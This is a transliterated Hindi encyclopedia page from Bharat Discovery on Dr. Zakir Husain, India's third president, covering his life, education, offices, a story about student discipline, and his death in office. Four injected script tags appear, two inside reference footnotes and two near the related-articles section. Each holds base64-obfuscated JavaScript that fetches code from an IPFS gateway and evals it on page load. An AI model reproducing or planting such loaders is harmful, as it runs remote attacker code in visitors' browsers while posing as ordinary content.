ज़ाकिर हुसैन

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
chitr:Disamb2.jpg zakir husain ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- zakir husain (bahuvikalpi)
zakir husain
poora nam d aau. zakir husain
janm 8 faravari, 1897
janm bhoomi haidarabad, aandhr pradesh
mrityu 3 mee, 1969
mrityu sthan dilli
abhibhavak pita- fida husain khan
pati/patni shahajehan begam
nagarikata bharatiy
prasiddhi bharat ke tisare rashtrapati
parti kaangres
pad rashtrapati, uparashtrapati, bihar ke rajyapal
kary kal rashtrapati, bharat- 13 mee 1967 se 3 mee 1969 tak

uparashtrapati, bharat- 13 mee 1962 se 12 mee 1967 tak
rajyapal, bihar- 6 julaee 1957 se 11 mee 1962 tak

shiksha pi.ech.di
vidyalay barlin vishvavidyalay
bhasha hiandi
puraskar-upadhi bharat ratn (1963), padm vibhooshan (1954)
any janakari bharatiy pres ayog, vishvavidyalay anudan ayog, yoonesko, antarrashtriy shiksha seva tatha kendriy madhyamik shiksha bord se bhi ju de rahe.

d aau. zakir husain (aangrezi: Zakir Hussain, janm: 8 faravari, 1897; mrityu: 3 mee, 1969) bharat ke tisare rashtrapati the. unaka rashtrapati karyakal 13 mee 1967 se 3 mee 1969 tak raha. d aau. jakir husain mashahoor shikshavidh aur adhunik bharat ke drashtathe. ye bihar ke rajyapal (karyakal- 1957 se 1962 tak) aur bharat ke uparashtrapati (karyakal- 1962 se 1967 tak) bhi rahe. unhean varsh 1963 me bharat ratn se sammanit kiya gaya. 1969 mean asamay dehavasan ke karan ve apana rashtrapati karyakal poora nahian kar sake.

jivan parichay

d aau. zakir husain ka janm 8 faravari, 1897 ee. mean haidarabad, aandhr pradesh ke dhanadhy pathan parivar mean hua tha. kuchh samay bad inake pita uttar pradesh mean rahane a gaye the. keval 23 varsh ki avastha mean ve 'jamiya miliya islamiya vishvavidyalay' ki sthapana dal ke sadasy bane. ve arthashastr mean pi.ech.di ki digri ke lie jarmani ke barlin vishvavidyalay ge aur laut kar jamiya ke up kulapati ke pad par bhi asin hue. 1920 mean unhoanne 'jamiya miliya islamiya' ki sthapana mean yogadan diya tatha isake upakulapati bane. inake netritv mean jamiya miliya islamiya ka rashtravadi karyoan tatha svadhinata sangram ki or jhukav raha. svatantrata prapti ke pashchath ve aligadh muslim vishvavidyalay ke kulapati bane tatha unaki adhyakshata mean ‘vishvavidyalay shiksha ayog’ bhi gathit kiya gaya. isake alava ve bharatiy pres ayog, vishvavidyalay anudan ayog, yoonesko, antarrashtriy shiksha seva tatha kendriy madhyamik shiksha bord se bhi ju de rahe. 1962 ee. mean ve bharat ke uparashtrapati bane.[1]

karyakshetr

d aau. zakir husain bharat ke rashtrapati banane vale pahale musalaman the. desh ke yuvaoan se sarakari sansthanoan ka vahishkar ki gaandhi ki apil ka husain ne palan kiya. unhoanne aligadh mean muslim neshanal yoonivarsiti (bad mean dilli le jayi gee) ki sthapana mean madad ki aur 1926 se 1948 tak isake kulapati rahe. mahatma gaandhi ke nimantran par vah prathamik shiksha ke rashtriy ayog ke adhyaksh bhi bane, jisaki sthapana 1937 mean skooloan ke lie gaandhivadi pathyakram banane ke lie huee thi. 1948 mean husain aligadh muslim vishvavidyalay ke kulapati bane aur char varsh ke bad unhoanne rajyasabha mean pravesh kiya. 1956-58 mean vah sanyukt rashtr shiksha, vijnan aur sanskriti sangathan (yoonesko) ki karyakari samiti mean rahe. 1957 mean unhean bihar ka rajyapal niyukt kiya gaya aur 1962 mean vah bharat ke uparashtrapati nirvachit hue. 1967 mean kaangres parti ke adhikarik ummidavar ke roop mean vah bharat ke rashtrapati pad ke lie chune gaye aur mrityu tak padasin rahe.[2]

anushasanapriy vyaktittv

d aau. zakir husain behad anushasanapriy vyaktittv ke dhani the. unaki anushasanapriyata niche diye prasang se samajha ja sakata hai. yah prasang us samay ka hai, jab d aau. jakir husain jamiya miliya islamiya ke kulapati the. jakir husain behad hi anushasanapriy vyakti the. ve chahate the ki jamiya miliya islamiya ke chhatr atyant anushasit rahean, jinamean saph-suthare kap de aur p aaulish se chamakate joote hona sarvopari tha. isake lie d aau. jakir husain ne ek likhit adesh bhi nikala, kiantu chhatroan ne us par koee vishesh dhyan nahian diya. chhatr apani manamarzi se hi chalate the, jisake karan jamiya vishvavidyalay ka anushasan big dane laga. yah dekhakar d aau. husain ne chhatroan ko alag tarike se sudharane par vichar kiya. ek din ve vishvavidyalay ke daravaze par brash aur p aaulish lekar baith ge aur har ane-jane vale chhatr ke joote brash karane lage. yah dekhakar sabhi chhatr bahut lajjit hue. unhoanne apani bhool manate hue d aau. husain se kshama maangi aur agale din se sabhi chhatr saph-suthare kap doan mean aur jootoan par p aaulish karake ane lage. is tarah vishvavidyalay mean pun: anushasan kayam ho gaya.[3]

samman aur puraskar

nidhan

rashtrapati banane par apane udghatan bhashan mean unhoanne kaha tha ki samoocha bharat mera ghar hai aur isake sabhi bashinde mera parivar haian. 3 mee 1969 ko unaka nidhan ho gaya. vah desh ke aise pahale rashtrapati the jinaka karyalay mean nidhan hua.



bharat ke rashtrapati
65px|link=| poorvadhikari
sarvapalli radhakrishnan
zakir husain uttaradhikari
varahagiri veankat giri
65px|link=|


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. nagori, d aau. es.el. “khand 3”, svatantrata senani kosh (gaandhiyugin), 2011 (hindi), bharatadiskavari pustakalay: gitaanjali prakashan, jayapur, prishth san 168.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. “khand 6”, bharat jnanakosh, 2002 (hindi), bharatadiskavari pustakalay: insaiklopidiya britainika, prishth san 243.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. svayan joote p aaulish kar anushasan kayam kiya jakir husain ne (hiandi) dainik bhaskar. abhigaman tithi: 2 faravari, 2013.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. REDIRECTsaancha:bharat rath‍n2

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah